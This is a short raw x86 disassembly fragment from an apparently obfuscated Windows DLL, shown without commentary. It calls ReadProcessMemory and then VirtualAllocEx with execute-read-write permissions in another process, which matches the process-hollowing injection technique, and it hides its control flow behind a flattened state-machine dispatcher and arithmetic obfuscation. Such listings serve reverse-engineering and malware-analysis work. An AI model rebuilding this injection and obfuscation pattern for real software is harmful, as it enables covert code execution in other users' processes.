mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x134]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x164], 0xd0962c96
jmp 0x10004c67
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x164], 0x365ce471
jmp 0x10004c67
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x164], 0xb531ad83
jmp 0x10004c67
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x164], 0x9cf0b947
jmp 0x10004c67
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x164], 0x9c8d4bbf
jmp 0x10004c67
mov eax, dword [ebp - 0x108]
mov edx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x164], 0x9d1be30c
jmp 0x10004c67
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x164], 0x413dec88
jmp 0x10004c67
jmp 0x100020c0